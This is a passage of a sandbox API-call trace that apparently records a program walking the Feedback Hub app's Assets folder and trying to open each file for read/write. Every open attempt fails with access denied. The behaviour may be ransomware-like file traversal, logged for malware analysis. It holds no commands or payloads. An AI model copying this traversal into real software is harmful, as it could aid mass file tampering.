	[0090.151] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50187c3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501ade99, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501ade99, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2876, dwReserved0=0x0, dwReserved1=0x0, cFileName="Folder.png", cAlternateFileName="")) returned 1
	[0090.151] wcscmp (_String1="Folder.png", _String2=".") returned 1
	[0090.151] wcscmp (_String1="Folder.png", _String2="..") returned 1
	[0090.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4722fd0
	[0090.151] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.151] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.152] wcscat (in: _Dest=0x4722fd0, _Source="Folder.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png"
	[0090.152] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\folder.png")) returned 0x20
	[0090.155] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png", dwFileAttributes=0x20) returned 0
	[0090.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\folder.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.156] GetLastError () returned 0x5
	[0090.156] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Folder.png", dwFileAttributes=0x20) returned 0
	[0090.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722fd0) returned 1
	[0090.156] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x501ade99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2497e66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501ade99, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0090.156] wcscmp (_String1="Fonts", _String2=".") returned 1
	[0090.156] wcscmp (_String1="Fonts", _String2="..") returned 1
	[0090.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eb90
	[0090.156] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.156] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.156] wcscat (in: _Dest=0x477eb90, _Source="Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477ec70
	[0090.156] wcscpy (in: _Dest=0x477ec70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.156] wcscat (in: _Dest=0x477ec70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\"
	[0090.156] wcscat (in: _Dest=0x477ec70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*"
	[0090.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x501ade99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2497e66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501ade99, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.159] wcscmp (_String1=".", _String2=".") returned 0
	[0090.159] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x501ade99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2497e66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501ade99, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.159] wcscmp (_String1="..", _String2=".") returned 1
	[0090.159] wcscmp (_String1="..", _String2="..") returned 0
	[0090.159] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501ade99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501d40f2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501d40f2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3650, dwReserved0=0x0, dwReserved1=0x0, cFileName="FHubMDL2.ttf", cAlternateFileName="")) returned 1
	[0090.159] wcscmp (_String1="FHubMDL2.ttf", _String2=".") returned 1
	[0090.159] wcscmp (_String1="FHubMDL2.ttf", _String2="..") returned 1
	[0090.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c6c0
	[0090.159] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.159] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\"
	[0090.159] wcscat (in: _Dest=0x491c6c0, _Source="FHubMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf"
	[0090.160] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\fonts\\fhubmdl2.ttf")) returned 0x20
	[0090.160] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.160] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\fonts\\fhubmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.160] GetLastError () returned 0x5
	[0090.160] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\FHubMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0090.160] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501ade99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501d40f2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501d40f2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3650, dwReserved0=0x0, dwReserved1=0x0, cFileName="FHubMDL2.ttf", cAlternateFileName="")) returned 0
	[0090.160] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ec70) returned 1
	[0090.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.160] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501d40f2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x25a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="hand.png", cAlternateFileName="")) returned 1
	[0090.161] wcscmp (_String1="hand.png", _String2=".") returned 1
	[0090.161] wcscmp (_String1="hand.png", _String2="..") returned 1
	[0090.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.161] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.161] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.161] wcscat (in: _Dest=0x477eb90, _Source="hand.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png"
	[0090.161] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\hand.png")) returned 0x20
	[0090.162] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png", dwFileAttributes=0x20) returned 0
	[0090.162] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\hand.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.162] GetLastError () returned 0x5
	[0090.162] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\hand.png", dwFileAttributes=0x20) returned 0
	[0090.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.162] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501fa34b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0090.162] wcscmp (_String1="InsiderHubAppList.scale-200.png", _String2=".") returned 1
	[0090.162] wcscmp (_String1="InsiderHubAppList.scale-200.png", _String2="..") returned 1
	[0090.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500ba68
	[0090.162] wcscpy (in: _Dest=0x500ba68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.162] wcscat (in: _Dest=0x500ba68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.162] wcscat (in: _Dest=0x500ba68, _Source="InsiderHubAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png"
	[0090.163] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200.png")) returned 0x20
	[0090.165] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.165] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.165] GetLastError () returned 0x5
	[0090.165] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500ba68) returned 1
	[0090.166] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501fa34b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.166] wcscmp (_String1="InsiderHubAppList.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.166] wcscmp (_String1="InsiderHubAppList.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x4732810
	[0090.166] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.166] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.166] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png"
	[0090.166] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200_contrast-black.png")) returned 0x20
	[0090.169] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.169] GetLastError () returned 0x5
	[0090.169] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.169] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501fa34b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.169] wcscmp (_String1="InsiderHubAppList.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.169] wcscmp (_String1="InsiderHubAppList.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x4732810
	[0090.170] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.170] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.170] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png"
	[0090.170] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200_contrast-white.png")) returned 0x20
	[0090.170] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.170] GetLastError () returned 0x5
	[0090.170] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
